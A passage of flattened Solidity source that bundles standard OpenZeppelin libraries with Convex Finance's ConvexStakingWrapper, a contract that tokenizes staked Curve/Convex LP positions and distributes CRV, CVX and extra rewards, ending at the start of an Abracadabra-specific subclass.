unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin\contracts\token\ERC20\IERC20.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin\contracts\utils\Address.sol pragma solidity >=0.6.2 <0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin\contracts\token\ERC20\SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: node_modules\@openzeppelin\contracts\utils\Context.sol pragma solidity >=0.6.0 <0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin\contracts\token\ERC20\ERC20.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /* * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. / constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /* * @dev Returns the name of the token. / function name() public view virtual returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual returns (uint8) { return _decimals; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. / function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin\contracts\utils\ReentrancyGuard.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. / abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /* * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. / modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin\contracts\access\Ownable.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts\wrappers\ConvexStakingWrapper.sol pragma solidity 0.6.12; pragma experimental ABIEncoderV2; //Example of a tokenize a convex staked position. //if used as collateral some modifications will be needed to fit the specific platform //Based on Curve.fi's gauge wrapper implementations at https://github.com/curvefi/curve-dao-contracts/tree/master/contracts/gauges/wrappers contract ConvexStakingWrapper is ERC20, ReentrancyGuard, Ownable { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct EarnedData { address token; uint256 amount; } struct RewardType { address reward_token; address reward_pool; uint128 reward_integral; uint128 reward_remaining; mapping(address => uint256) reward_integral_for; mapping(address => uint256) claimable_reward; } uint256 public cvx_reward_integral; uint256 public cvx_reward_remaining; mapping(address => uint256) public cvx_reward_integral_for; mapping(address => uint256) public cvx_claimable_reward; //constants/immutables address public constant convexBooster = address(0xF403C135812408BFbE8713b5A23a04b3D48AAE31); address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52); address public constant cvx = address(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B); address public immutable curveToken; address public immutable convexToken; address public immutable convexPool; uint256 public immutable convexPoolId; address public immutable collateralVault; //rewards RewardType[] public rewards; //management bool public isShutdown = false; event Deposited(address indexed _user, address indexed _account, uint256 _amount, bool _wrapped); event Withdrawn(address indexed _user, uint256 _amount, bool _unwrapped); constructor(address _curveToken, address _convexToken, address _convexPool, uint256 _poolId, address _vault, string memory _nameTag, string memory _symbolTag) public ERC20( string( abi.encodePacked("Staked ", ERC20(_convexToken).name(), _nameTag ) ), string(abi.encodePacked("stk", ERC20(_convexToken).symbol(), _symbolTag)) ) Ownable() { curveToken = _curveToken; convexToken = _convexToken; convexPool = _convexPool; convexPoolId = _poolId; collateralVault = _vault; } function shutdown() external onlyOwner { isShutdown = true; } function setApprovals() external { IERC20(curveToken).safeApprove(convexBooster, 0); IERC20(curveToken).safeApprove(convexBooster, uint256(-1)); IERC20(convexToken).safeApprove(convexPool, 0); IERC20(convexToken).safeApprove(convexPool, uint256(-1)); } function addRewards() external { address mainPool = convexPool; if (rewards.length == 0) { rewards.push( RewardType({ reward_token: crv, reward_pool: mainPool, reward_integral: 0, reward_remaining: 0 }) ); } uint256 extraCount = IRewardStaking(mainPool).extraRewardsLength(); uint256 startIndex = rewards.length - 1; for (uint256 i = startIndex; i < extraCount; i++) { address extraPool = IRewardStaking(mainPool).extraRewards(i); rewards.push( RewardType({ reward_token: IRewardStaking(extraPool).rewardToken(), reward_pool: extraPool, reward_integral: 0, reward_remaining: 0 }) ); } } function rewardLength() external view returns(uint256) { return rewards.length; } function _getDepositedBalance(address _account) internal virtual view returns(uint256) { if (_account == address(0) \|\| _account == collateralVault) { return 0; } //get balance from collateralVault return balanceOf(_account); } function _getTotalSupply() internal virtual view returns(uint256){ //override and add any supply needed (interest based growth) return totalSupply(); } function _calcCvxIntegral(address[2] memory _accounts, uint256[2] memory _balances, uint256 _supply, bool _isClaim) internal { uint256 bal = IERC20(cvx).balanceOf(address(this)); uint256 d_cvxreward = bal.sub(cvx_reward_remaining); if (_supply > 0 && d_cvxreward > 0) { cvx_reward_integral = cvx_reward_integral + d_cvxreward.mul(1e20).div(_supply); } //update user integrals for cvx for (uint256 u = 0; u < _accounts.length; u++) { //do not give rewards to address 0 if (_accounts[u] == address(0)) continue; if (_accounts[u] == collateralVault) continue; uint userI = cvx_reward_integral_for[_accounts[u]]; if(_isClaim \|\| userI < cvx_reward_integral){ uint256 receiveable = cvx_claimable_reward[_accounts[u]].add(_balances[u].mul(cvx_reward_integral.sub(userI)).div(1e20)); if(_isClaim){ if(receiveable > 0){ cvx_claimable_reward[_accounts[u]] = 0; IERC20(cvx).safeTransfer(_accounts[u], receiveable); bal = bal.sub(receiveable); } }else{ cvx_claimable_reward[_accounts[u]] = receiveable; } cvx_reward_integral_for[_accounts[u]] = cvx_reward_integral; } } //update reward total if(bal != cvx_reward_remaining){ cvx_reward_remaining = bal; } } function _calcRewardIntegral(uint256 _index, address[2] memory _accounts, uint256[2] memory _balances, uint256 _supply, bool _isClaim) internal{ RewardType storage reward = rewards[_index]; //get difference in balance and remaining rewards //getReward is unguarded so we use reward_remaining to keep track of how much was actually claimed uint256 bal = IERC20(reward.reward_token).balanceOf(address(this)); // uint256 d_reward = bal.sub(reward.reward_remaining); if (_supply > 0 && bal.sub(reward.reward_remaining) > 0) { reward.reward_integral = reward.reward_integral + uint128(bal.sub(reward.reward_remaining).mul(1e20).div(_supply)); } //update user integrals for (uint256 u = 0; u < _accounts.length; u++) { //do not give rewards to address 0 if (_accounts[u] == address(0)) continue; if (_accounts[u] == collateralVault) continue; uint userI = reward.reward_integral_for[_accounts[u]]; if(_isClaim \|\| userI < reward.reward_integral){ if(_isClaim){ uint256 receiveable = reward.claimable_reward[_accounts[u]].add(_balances[u].mul( uint256(reward.reward_integral).sub(userI)).div(1e20)); if(receiveable > 0){ reward.claimable_reward[_accounts[u]] = 0; IERC20(reward.reward_token).safeTransfer(_accounts[u], receiveable); bal = bal.sub(receiveable); } }else{ reward.claimable_reward[_accounts[u]] = reward.claimable_reward[_accounts[u]].add(_balances[u].mul( uint256(reward.reward_integral).sub(userI)).div(1e20)); } reward.reward_integral_for[_accounts[u]] = reward.reward_integral; } } //update remaining reward here since balance could have changed if claiming if(bal != reward.reward_remaining){ reward.reward_remaining = uint128(bal); } } function _checkpoint(address[2] memory _accounts) internal { //if shutdown, no longer checkpoint in case there are problems if(isShutdown) return; uint256 supply = _getTotalSupply(); uint256[2] memory depositedBalance; depositedBalance[0] = _getDepositedBalance(_accounts[0]); depositedBalance[1] = _getDepositedBalance(_accounts[1]); IRewardStaking(convexPool).getReward(address(this), true); uint256 rewardCount = rewards.length; for (uint256 i = 0; i < rewardCount; i++) { _calcRewardIntegral(i,_accounts,depositedBalance,supply,false); } _calcCvxIntegral(_accounts,depositedBalance,supply,false); } function _checkpointAndClaim(address[2] memory _accounts) internal { uint256 supply = _getTotalSupply(); uint256[2] memory depositedBalance; depositedBalance[0] = _getDepositedBalance(_accounts[0]); //only do first slot IRewardStaking(convexPool).getReward(address(this), true); uint256 rewardCount = rewards.length; for (uint256 i = 0; i < rewardCount; i++) { _calcRewardIntegral(i,_accounts,depositedBalance,supply,true); } _calcCvxIntegral(_accounts,depositedBalance,supply,true); } function user_checkpoint(address[2] calldata _accounts) external returns(bool) { _checkpoint([_accounts[0], _accounts[1]]); return true; } function totalBalanceOf(address _account) external view returns(uint256){ return _getDepositedBalance(_account); } function earned(address _account) external view returns(EarnedData[] memory claimable) { uint256 supply = _getTotalSupply(); // uint256 depositedBalance = _getDepositedBalance(_account); uint256 rewardCount = rewards.length; claimable = new EarnedData[](rewardCount + 1); for (uint256 i = 0; i < rewardCount; i++) { RewardType storage reward = rewards[i]; //change in reward is current balance - remaining reward + earned uint256 bal = IERC20(reward.reward_token).balanceOf(address(this)); uint256 d_reward = bal.sub(reward.reward_remaining); d_reward = d_reward.add(IRewardStaking(reward.reward_pool).earned(address(this))); uint256 I = reward.reward_integral; if (supply > 0) { I = I + d_reward.mul(1e20).div(supply); } uint256 newlyClaimable = _getDepositedBalance(_account).mul(I.sub(reward.reward_integral_for[_account])).div(1e20); claimable[i].amount = reward.claimable_reward[_account].add(newlyClaimable); claimable[i].token = reward.reward_token; //calc cvx here if(reward.reward_token == crv){ claimable[rewardCount].amount = cvx_claimable_reward[_account].add(CvxMining.ConvertCrvToCvx(newlyClaimable)); claimable[i].token = cvx; } } return claimable; } function getReward(address _account) external { //claim directly in checkpoint logic to save a bit of gas _checkpointAndClaim([_account, address(0)]); } //deposit a curve token function deposit(uint256 _amount, address _to) external nonReentrant { require(!isShutdown, "shutdown"); //dont need to call checkpoint since _mint() will if (_amount > 0) { _mint(_to, _amount); IERC20(curveToken).safeTransferFrom(msg.sender, address(this), _amount); IConvexDeposits(convexBooster).deposit(convexPoolId, _amount, true); } emit Deposited(msg.sender, _to, _amount, true); } //stake a convex token function stake(uint256 _amount, address _to) external nonReentrant { require(!isShutdown, "shutdown"); //dont need to call checkpoint since _mint() will if (_amount > 0) { _mint(_to, _amount); IERC20(convexToken).safeTransferFrom(msg.sender, address(this), _amount); IRewardStaking(convexPool).stake(_amount); } emit Deposited(msg.sender, _to, _amount, false); } //withdraw to convex deposit token function withdraw(uint256 _amount) external nonReentrant { //dont need to call checkpoint since _burn() will if (_amount > 0) { _burn(msg.sender, _amount); IRewardStaking(convexPool).withdraw(_amount, false); IERC20(convexToken).safeTransfer(msg.sender, _amount); } emit Withdrawn(msg.sender, _amount, false); } //withdraw to underlying curve lp token function withdrawAndUnwrap(uint256 _amount) external nonReentrant { //dont need to call checkpoint since _burn() will if (_amount > 0) { _burn(msg.sender, _amount); IRewardStaking(convexPool).withdrawAndUnwrap(_amount, false); IERC20(curveToken).safeTransfer(msg.sender, _amount); } //events emit Withdrawn(msg.sender, _amount, true); } function _beforeTokenTransfer(address _from, address _to, uint256 _amount) internal override { _checkpoint([_from, _to]); } } // File: contracts\wrappers\ConvexStakingWrapperAbra.sol pragma solidity 0.6.12; //Staking wrapper for Abracadabra platform //use convex LP positions as collateral while still receiving rewards contract ConvexStakingWrapperAbra is ConvexStakingWrapper { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public cauldron; constructor(address _curveToken, address _convexToken, address _convexPool, uint256 _poolId) public ConvexStakingWrapper(_curveToken, _convexToken, _convexPool, _poolId, address(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966)," Abra", "-abra"){ } function 